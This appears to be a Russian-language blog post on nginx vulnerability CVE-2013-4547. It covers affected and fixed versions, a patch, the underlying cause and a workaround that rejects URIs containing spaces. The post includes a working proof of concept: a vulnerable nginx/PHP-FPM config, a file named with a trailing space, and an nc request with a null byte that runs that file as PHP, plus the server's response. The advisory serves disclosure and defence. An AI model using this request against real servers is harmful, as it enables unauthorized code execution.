Уязвимость в nginx — nginx security advisory (CVE-2013-4547)

В nginx обнаружена (и уже исправлена) уязвимость.
Подробности здесь: mailman.nginx.org/pipermail/nginx-ru/2013-November/052575.html

Проблеме подвержены версии nginx 0.8.41 — 1.5.6.
Проблема исправлена в nginx 1.5.7, 1.4.4.
Для кастомных конфигураций доступен патч — nginx.org/download/patch.2013.space.txt

Особенно интересна вот эта часть:

а также возможность вызывать специальную обработку файла с пробелом на конце в конфигурации вида
    location ~ \.php$ {
    fastcgi_pass…
    }


запросив файл как "/file \0.php".

В популярной конфигурации nginx + php уязвимость может эксплуатироваться следующим образом:
  • Пользователь загружает на сервер файл с пробелом на конце
  • Специально составленным запросом этот файл исполняется.


Применительно к nginx + php5-fpm должны соблюдаться следующие условия для эксплуатации уязвимости:
1) fastcgi_param PATH_TRANSLATED должнен быть вида $document_root/$fastcgi_script_name, т.е. значение скрипта берется из реквеста
2) в конфиге fpm pool значение ecurity.limit_extensions должно пропускать любые файлы. По-умолчанию она выставлена в .php .php3 .php4 .php5

Пример эксплуатации:

           server {
    		listen		*:80;
    		server_name	example.com;

    		access_log	...;
    		error_log	...;

    		root /var/www/hot;
    		
    		location ~ \.php$ {
    			include /etc/nginx/fastcgi_params;
    			fastcgi_param PATH_TRANSLATED $document_root/$fastcgi_script_name;
    			fastcgi_param SCRIPT_FILENAME $document_root/$fastcgi_script_name;
    			fastcgi_pass  pass;
    		}

                    location /css/ { }
                    location /js/  { }
                    location /img/ { }

    	}


    cat "/var/www/hot/hole " 
    


И наконец сам запрос:

    echo -e "GET /hole \0.php HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc -w 1 example.com 80
    HTTP/1.1 200 OK
    Server: nginx/1.4.1
    Date: Tue, 19 Nov 2013 15:31:51 GMT
    Content-Type: text/html
    Transfer-Encoding: chunked
    Connection: keep-alive
    X-Powered-By: PHP/5.4.19-1~dotdeb.1

    9
    I am hole
    0


При отправке таких запросов, сервер ограничивается проверкой маски в блоке до неэкранированного пробела. Причиной уязвимости является добавленный в версии nginx 0.8.41 код для обеспечения совместимости с некоторыми проблемными клиентскими приложениями, допускающий использование неэкранированных пробелов в URI, несмотря на недопустимость таких символов в протоколе HTTP (в URI должен фигурировать "%20", а не " ").

Пользователям прошлых версий nginx предложено можно использовать патч или заблокировать проявление проблемы обходным путём, добавив в блок server{} конфигурации:


    if ($request_uri ~ " ") {
        return 444;
    } 






Вас также может заинтересовать:

В nginx 1.0.15 и 1.1.19 устранена опасная уязвимость
Nginx с Виндой и ... (или установка Nginx под Windows в качестве сервиса)
Nginx + CentOS 5.5 + aio
Nginx и Websockets
Релиз nginx 1.0.0
Nginx нашёл инвесторов на $3 млн.